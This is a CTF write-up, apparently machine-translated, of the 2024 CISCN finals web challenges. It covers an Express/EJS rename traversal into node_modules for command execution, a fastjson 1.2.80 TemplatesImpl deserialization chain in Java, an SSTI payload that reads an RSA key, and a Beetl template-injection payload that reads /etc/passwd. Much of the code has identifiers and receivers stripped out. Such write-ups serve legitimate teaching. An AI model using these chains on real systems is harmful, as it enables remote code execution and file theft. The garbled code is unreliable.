Location>code7788 >text

2024 Ciscn Finals Web Writeup

Popularity:489 ℃/2024-10-21 20:58:09

preamble

Pigeonholed a three month resurgence plan :)

ezjs

The test point is express engine parsing a trick, in the high version of express has been repaired, the first post source code

const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs');

const path = require("path");

function createDirectoriesForFilePath(filePath) {
    const dirname = (filePath);

    (dirname, { recursive: true });
}
function IfLogin(req, res, next){
    if (!=null){
        next()
    }else {
        ('/login')
    }
}

const storage = ({
    destination: function (req, file, cb) {
        cb(null, (__dirname, 'uploads')); // Setting the destination directory for uploaded files
    },
    filename: function (req, file, cb) {
        // Use the original filename directly
        cb(null, );
    }
});

// configure multer Upload middleware
const upload = multer({
    storage: storage, // Using Customized Storage Options
    fileFilter: (req, file, cb) => {
        const fileExt = ().toLowerCase();
        if (fileExt === '.ejs') {
            // If the file suffix is .ejs,then the upload of the file is denied
            return cb(new Error('Upload of .ejs files is not allowed'), false);
        }
        cb(null, true); // Allow uploading other types of files
    }
});

admin={
    "username":"ADMIN",
    "password":"123456"
}
app=express()
(((__dirname, 'uploads')));
(());
(({extended: false}));
('view engine', 'ejs');
(session({
    secret: 'Can_U_hack_me???',
    resave: false,
    saveUninitialized: true,
    cookie: { maxAge: 3600 * 1000 }
}));

('/',(req,res)=>{
    ('/login')
})

('/login', (req, res) => {
    ('login');
});

('/login', (req, res) => {
    const { username, password } = ;
    if (username === 'admin'){
        return (400).send('you can not be admin');
    }
    const new_username = ()

    if (new_username === && password === ) {
         = "ADMIN";
        ('/rename');
    } else {
        // ('/login');
    }
});

('/upload', (req, res) => {
    ('upload');
});

('/upload', ('fileInput'), (req, res) => {
    if (!) {
        return (400).send('No file uploaded');
    }
    const fileExt = ().toLowerCase();

    if (fileExt === '.ejs') {
        return (400).send('Upload of .ejs files is not allowed');
    }
    ('File uploaded successfully: ' + );
});

('/render',(req, res) => {
    const { filename } = ;

    if (!filename) {
        return (400).send('Filename parameter is required');
    }

    const filePath = (__dirname, 'uploads', filename);

    if (('.ejs')) {
        return (400).send('Invalid file type.');
    }

    (filePath);
});

('/rename',IfLogin, (req, res) => {

    if ( !== 'ADMIN') {
        return (403).send('Access forbidden');
    }

    const { oldPath , newPath } = ;
    if (!oldPath || !newPath) {
        return (400).send('Missing oldPath or newPath');
    }
    if (newPath && /app\.js|\\|\.ejs/(newPath)) {
        return (400).send('Invalid file name');
    }
    if (oldPath && /\.\.|flag/(oldPath)) {
        return (400).send('Invalid file name');
    }
    const new_file = ();

    const oldFilePath = (__dirname, 'uploads', oldPath);
    const newFilePath = (__dirname, 'uploads', new_file);

    if (('.ejs')){
        return (400).send('Invalid file type.');
    }
    if (!oldPath) {
        return (400).send('oldPath parameter is required');
    }

    if (!(oldFilePath)) {
        return (404).send('Old file not found');
    }

    if ((newFilePath)) {
        return (409).send('New file path already exists');
    }
    createDirectoriesForFilePath(newFilePath)
    (oldFilePath, newFilePath, (err) => {
        if (err) {
            ('Error renaming file:', err);
            return (500).send('Error renaming file');
        }

        ('File renamed successfully');
    });
});

('3000', () => {
    (`http://localhost:3000`)
})

When we pass in a filename without a suffix, the render will automatically add the .ejs set by default, and when we pass in a filename with a suffix, it will take the last suffix to require, assuming that thefilename=Then it will require('abc'), why is it like that, let's trace the source code and make a breakpoint here

image

view in the case of no cache view variable is empty by default, it will call a View() here, and when this function ends, he will continue to go a tryRender function, see View function content

function View(name, options) {
  var opts = options || {};

   = ;
   = extname(name);
   = name;
   = ;

  if (! && !) {
    throw new Error('No default engine was specified and no extension was provided.');
  }

  var fileName = name;

  if (!) {
    // get extension from default engine name
     = [0] !== '.'
      ? '.' + 
      : ;

    fileName += ;
  }

  if (![]) {
    // load engine
    var mod = (1)
    debug('require "%s"', mod)

    // default engine export
    var fn = require(mod).__express

    if (typeof fn !== 'function') {
      throw new Error('Module "' + mod + '" does not provide a view engine.')
    }

    [] = fn
  }

  // store loaded engine
   = [];

  // lookup path
   = (fileName);
}

Here's the point.

image

is the last suffix we pass in, removing the.is passed to the mod, which is then required, and require reads the node_modules by default, assuming that the mod here is js.node_modules/js/That is to say, we can control the content of the files under node_modules, then we can rce, just here rename can realize the directory traversal written into node_modules, we first randomly uploaded, the contents of the:.

const p = require('child_process')
("calc")

Then rename?oldPath=&newPath=... /node_modules/F12/
rce:render?filename=1.F12
The fix is also simple, just blacklist the .js

solon_master

The examination is fastjson native deserialization, fastjson1.2.80, have to go around autoType, first look at the deserialization entrance:

image

Overrides resolveClass, the outermost level has to be the User class, and you can't use theBadAttributeValueExpExceptionThis is a good one. Let's look at the User class.

public class User implements Serializable {
   public String name;
   public Map info;

   public User() {
   }

   public Map getInfo() {
      ("getInfo");
      return ;
   }

   public void setInfo(Map info) {
       = info;
   }

   public String getName() {
      ("getName");
      return ;
   }

   public void setName(String name) {
       = name;
   }

   public User(String name) {
       = name;
   }
}

User class has a property Map, we set this Map to malicious serialized data on the line, then consider the utilization of the chain from the HashMap backward, here the choice of theHashMap#readObject->JSONArray#toString->getter, write exp:

package ;
import ;
import ;
import ;
import ;
import .*;
import ;
import ;
import ;
import ;
import .Base64;
import ;
import ;

public class Test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field _name = ("_name");
        _name.setAccessible(true);
        _name.set(templates, "1");
        Field _bytecodes = ("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] bytes = (("E:\\untitled\\target\\classes\\com\\example\\demo\\"));
        byte[][] code = {bytes};
        _bytecodes.set(templates, code);
        Field _tfactory = ("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());
        ArrayList arrayList = new ArrayList();
        (templates);
        JSONArray toStringBean = new JSONArray(arrayList);
        // GetterClass#getName is called
        HashMap hashMap = makeHashMapByTextAndMnemonicHashMap(toStringBean);
        User user = new User();
        ("F12");
        (hashMap);
        // Here's to getting aroundfastjsonownresolveClass,Let it go.TC_REFERENCE,It won't go away.resolveClass,It won't be triggered.autoType
        HashMap hashMap1 = new HashMap();
        (templates,user);
        (().encodeToString(ser(user)));
    }
    public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{
        Map tHashMap1 = (Map) getObjectByUnsafe(("$TextAndMnemonicHashMap"));
        Map tHashMap2 = (Map) getObjectByUnsafe(("$TextAndMnemonicHashMap"));
        (toStringClass, "123");
        (toStringClass, "12");
        setFieldValue(tHashMap1, "loadFactor", 1);
        setFieldValue(tHashMap2, "loadFactor", 1);
        HashMap hashMap = new HashMap();
        (tHashMap1,"1");
        (tHashMap2,"1");
        (toStringClass, null);
        (toStringClass, null);
        return hashMap;
    }
    public static Object getObjectByUnsafe(Class clazz) throws Exception{
        Field theUnsafe = ("theUnsafe");
        (true);
        Unsafe unsafe = (Unsafe) (null);
        return (clazz);
    }
    public static void setFieldValue(Object obj, String key, Object val) throws Exception{
        Field field = null;
        Class clazz = ();
        while (true){
            try {
                field = (key);
                break;
            } catch (NoSuchFieldException e){
                clazz = ();
            }
        }
        (true);
        (obj, val);
    }
    public static byte[] ser(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        (obj);
        return ();
    }
    public static void unser(byte[] exp) throws ClassNotFoundException, IOException {
        ByteArrayInputStream bais = new ByteArrayInputStream(exp);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ();
    }
}

About how to bypass fastjson resolveClass, you can refer to /YakProject/article/details/131291768

ShardCard

SSTI using a sandbox, somewhat similar to R3CTF's NinjaClub, the Info class inherits BaseModel, theoretically you can hit the pickle deserialization, but the local environment test seems to have pulled the plug on parse_raw, so you can only hit it in another way, as long as we read the rsakey, we can forge the token and change the avatar value to arbitrarily read the file, throw a payload here:
{{info.__class__.parse_avatar.__globals__.rsakey}}, local read out nm address, no more games, that's it

Fobee

beetl template injection, first around username=admin to get the password, this is very simple, unicode encoding on the line, /render used in theThe injection exists here, but is blacklisted as follows.

pkgName = (0, i);
                className = (i + 1);
                if (("")) {
                    return false;
                } else if (!("")) {
                    if (("")) {
                        return false;
                    } else if (("")) {
                        return false;
                    } else if (("javax.")) {
                        return false;
                    } else {
                        return !("sun.");
                    }
                } else {
                    return !("Runtime") && !("Process") && !("ProcessBuilder") && !("Thread") && !("Class") && !("System");
                }

I heard that CVE-2024-22533 can be code execution, but their own fumble did not reproduce it, here to write a read file write, exp as follows:.

${@.().encodeToString(@(@("/etc/passwd","")))}

Any reproduced masters please teach me :)